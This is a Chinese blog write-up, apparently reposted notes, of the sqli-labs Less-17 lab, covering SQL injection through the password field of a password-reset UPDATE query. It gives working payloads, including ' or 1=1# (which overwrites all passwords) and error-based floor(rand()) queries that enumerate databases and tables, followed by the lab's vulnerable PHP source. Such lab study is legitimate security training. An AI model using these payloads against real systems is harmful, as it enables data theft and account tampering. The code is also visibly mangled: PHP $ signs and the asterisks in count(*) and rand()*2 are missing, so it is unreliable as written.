美文网首页
sqli-labs less17 password-update

sqli-labs less17 password-update

作者: Yix1a | 来源:发表于2019-05-14 15:43 被阅读0次
    • 转自一位不知名大佬的笔记

    -----------------------------------less-17-----------------------------------

    原url

    http://192.168.137.138/sqli-labs-master/Less-17/

    页面显示:
    [PASSWORD RESET](密码重置)

    说明这个页面很有可能是 使用了 update 语句
    

    很多 网页 有修改 密码的功能(重置密码),类似于此网页,输入一个 用户名,然后输入新密码,返回页面提示:密码修改成功

    先猜测这个页面的 后台 sql 语句:

    update table set password= inputpass where username=" inputuname ";

    当然,这个 inputpass 和 inputuname 两侧可能有闭合条件,但是可以初步猜测为以上语句

    可以看出, password reset 页面,既然在 username 没法注入,而且又使用了 update
    语句,所以可以试试在 inputpass 里构造语句

    第二步:

    --基于password 的测试,判断注入的可行性

    **哎太菜,不知道为什么 测试 password 的时候,必须满足 username 框中的值是正确的,返回页面才会正确

    现在不忙管那么多

    构造语句:

    username 框中输入 : admin

    New Password 框中输入:'\

    页面报错了:

    You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' WHERE username='admin'' at line 1

    错误分析:

    near '' WHERE username='admin'' at line 1

    先分离最外层 的 单引号

    near ' ' WHERE username='admin' ' at line 1

    先看 admin ,admin是由 ''包裹的,修改一下猜测的语句:

    update table set password= inputpass where username='inputuname'

    本来是 输入 的 '\ ,为什么变成 ' 了呢????

    分析:

    先将 '\ 复制到 inputpass 这个位置代替

    update table set password='\ where username='inputuname'

    假设 inputpass 之前也是 被 '' 包裹,那么'\放在inputpass的效果为:

    update table set password=''' where username='inputuname'

    password 等于一个空

    update table set password='' ' where username='inputuname'

    左边构成了 password 等于 空 的语句,虽然为空,但是没有语法错误

    右边 出现了 ' 没闭合的情况,所以会爆语法错误

    所以后台 sql 语句应该为:

    update table set password='inputpass' where username='inputuname'

    因为inputpass这里出错了,所以爆出了语法错误

    说明:基于password 的测试,判断出注入是存在的

    第三步:

    -- SET 语句接收逻辑运算值的执行结果

    构造一个普通的语句:

    ' or 1=1#
    (这个只是 inputpass 的内容,不要忘了 inputuname 的内容是必须为真的 用admin吧)

    将其放入猜测好的 sql 语句中:

    update table set password='' or 1=1 # where username='inputuname'
    (user name 框里 填入 admin,不然的话会失败)

    后面的东西不用管,被注释了

    update table set password='' or 1=1

    这个是个什么意思呢??

    返回 后台 sql 中查询一下

    mysql> select * from users;
    +----+----------+----------+
    | id | username | password |
    +----+----------+----------+
    | 1 | Dumb | 1 |
    | 2 | Angelina | 1 |
    | 3 | Dummy | 1 |
    | 4 | secure | 1 |
    | 5 | stupid | 1 |
    | 6 | superman | 1 |
    | 7 | batman | 1 |
    | 8 | admin | 1 |
    | 9 | admin1 | 1 |
    | 10 | admin2 | 1 |
    | 11 | admin3 | 1 |
    | 12 | dhakkan | 1 |
    | 14 | admin4 | 1 |
    +----+----------+----------+
    13 rows in set (0.00 sec)

    发现所有的 password 都被改成 1 了

    分析语句:

    update table set password='' or 1=1

    更新 users 表里的 password 内容 为 空 或者 1=1

    知道了 or 是其一为真就为真,所以 等号 后的条件 返回 为 真(也就是1)

    更新 users 表里的 password 内容 为 1,而where条件被注释了,所有的where条件都会被修改

    所以说 SET 语句 接收 逻辑运算的结果,逻辑运算就是 空 or 1=1

                前端注入测试
    

    通过前面的测试,大致掌握了 update 语句的结构,注入点在 password 的位置上

    那么该采用什么注入类型呢?

    既然在 password 的位置上 能爆出语法错误

    那么尝试一下 基于错误的注入的 语句

    就用之前学的 逻辑错误吧

    先构造一个:

    ' and (select 1 from (select count(),concat(':::',database(),':::',floor(rand()2))x from information_schema.tables group by x ) a ) #

    把这个语句呢,放在 password 框里试一试

    效果:

    Duplicate entry '::security::0' for key 'group_key'

    看见熟悉的错误语句了,顺便也把当前使用的数据库名给抱了出来

    来看看有哪些数据库

    构造语句:

    ' and (select 1 from (select count(),concat('::',(select schema_name from information_schema.shemata limit 0,1),'::',floor(rand()2))x from information_schema.columns group by x) a ) #

    效果:

    Duplicate entry '::information_schema::0' for key 'group_key'

    只要修改 limit 后面的行数 就可以 遍历 所有 数据库了

    来查一查security数据库中 有哪些表:

    构造语句:

    ' and (select 1 from (select count(),concat('::',(select table_name from information_schema.tables where table_schema=database() limit 0,1),'::',floor(rand()2))x from information_schema.tables group by x) A ) #

    效果如下:

    Duplicate entry '::emails::1' for key 'group_key'

    同样的,只要修改 limit 后面的行数 就可以 遍历 所有 security 中的表名了

    列名也是一样的方法,内容查询也一样

    但是有个问题,比如我要查找 users表下面 的username 和 password

    查找 password 的时候,有一定的几率会使 password 改变......

    比如我把 secure 用户 对应的 password 改成 123456789

    然后去查找 password :

    效果如下:

    中间有几次显示失败了,因为本来这个逻辑BUG就是不确定的嘛,但是 由于 update 语句的特性

    使得 password 本来是 1234567 的改成了

    Duplicate entry '::0::0' for key 'group_key'

    0

    扯淡。。。。。

    因为本身这个 页面 的update 语句就是用来修改 password 的

    如果去查找 password 那么,根据 floor(rand()*2) 有一定几率失败的尿性,得出了有一定几率修改 password 的结果

    遍历整个 注入 过程;

    -- 基于username 的测试,判断注入的可行性

    -- 基于password 的测试,判断注入的可行性

    -- SET 语句接收逻辑运算值的执行结果(特性)

    -- 判断后台 SQL 语句结构

    -- 构造注入语句

    -----------------------------------源码部分----------------------------------

    <?php
    //including the Mysql connect parameters.
    include("../sql-connections/sql-connect.php");
    error_reporting(0);

    function check_input(value) { if(!empty(value))
    {
    // truncation (see comments)
    value = substr(value,0,15);
    }

        // Stripslashes if magic quotes enabled
        if (get_magic_quotes_gpc())
            {
            $value = stripslashes($value);
            }
    
        // Quote if not a number
        if (!ctype_digit($value))
            {
            $value = "'" . mysql_real_escape_string($value) . "'";
            }
        
    else
        {
        $value = intval($value);
        }
    return $value;
    }
    

    // take the variables
    if(isset(_POST['uname']) && isset(_POST['passwd']))

    {
    //making sure uname is not injectable
    uname=check_input(_POST['uname']);

    passwd=_POST['passwd'];

    //logging the connection parameters to a file for analysis.
    fp=fopen('result.txt','a'); fwrite(fp,'User Name:'.uname."\n"); fwrite(fp,'New Password:'.passwd."\n"); fclose(fp);

    // connectivity
    @sql="SELECT username, password FROM users WHERE username=uname LIMIT 0,1";

    result=mysql_query(sql);
    row = mysql_fetch_array(result);
    //echo row; if(row)
    {
    //echo '<font color= "#0000ff">';
    row1 =row['username'];
    //echo 'Your Login name:'. row1;update="UPDATE users SET password = 'passwd' WHERE username='row1'";
    mysql_query($update);
    echo "
    ";

        if (mysql_error())
        {
            echo '<font color= "#FFFF00" font size = 3 >';
            print_r(mysql_error());
            echo "</br></br>";
            echo "</font>";
        }
        else
        {
            echo '<font color= "#FFFF00" font size = 3 >';
            //echo " You password has been successfully updated " ;     
            echo "<br>";
            echo "</font>";
        }
    
        echo '<img src="../images/flag1.jpg"   />'; 
        //echo 'Your Password:' .$row['password'];
        echo "</font>";
    
    
    
    }
    else  
    {
        echo '<font size="4.5" color="#FFFF00">';
        //echo "Bug off you Silly Dumb hacker";
        echo "</br>";
        echo '<img src="../images/slap1.jpg"   />';
    
        echo "</font>";  
    }
    

    }

    ?>

    可以从源码中看出:

    uname=check_input(_POST['uname']);

    从 username 框中输入的 值,一传参到服务器中,就被放到 check_input 函数去做防sql注入处理了

    但是 passwd=_POST['passwd']; 没有做任何处理

    因为 本来 人家就是 修改密码的,你如果把这个密码给处理的话,那么别人 的原密码怎么办(现在太菜,想不出办法,强行如此理解)

    update="UPDATE users SET password = 'passwd' WHERE username='$row1'";

    可以看出,这里是使用了update语句的

    @sql="SELECT username, password FROM users WHERE username=uname LIMIT 0,1";

    这里的sql 语句也只是 用 where 判断了 username 是否为真,这也就解释了,为什么在注入的时候,为什么 username 框里必须填真值,如果不是真值的话,那么后面的语句:

    if($row)

    就不会执行,而 update 语句是在 if 语句下的,所以username要为真,才能利用 SET 的逻辑运算

    哎太菜,不知道为什么 测试 password 的时候,必须满足 username 框中的值是正确的,返回页面才会正确

    并不是太菜,而是不知道 页面 相关的 后台语句是什么,所以无法判断准确

    相关文章

      网友评论

          本文标题:sqli-labs less17 password-update

          本文链接:https://www.haomeiwen.com/subject/adpsaqtx.html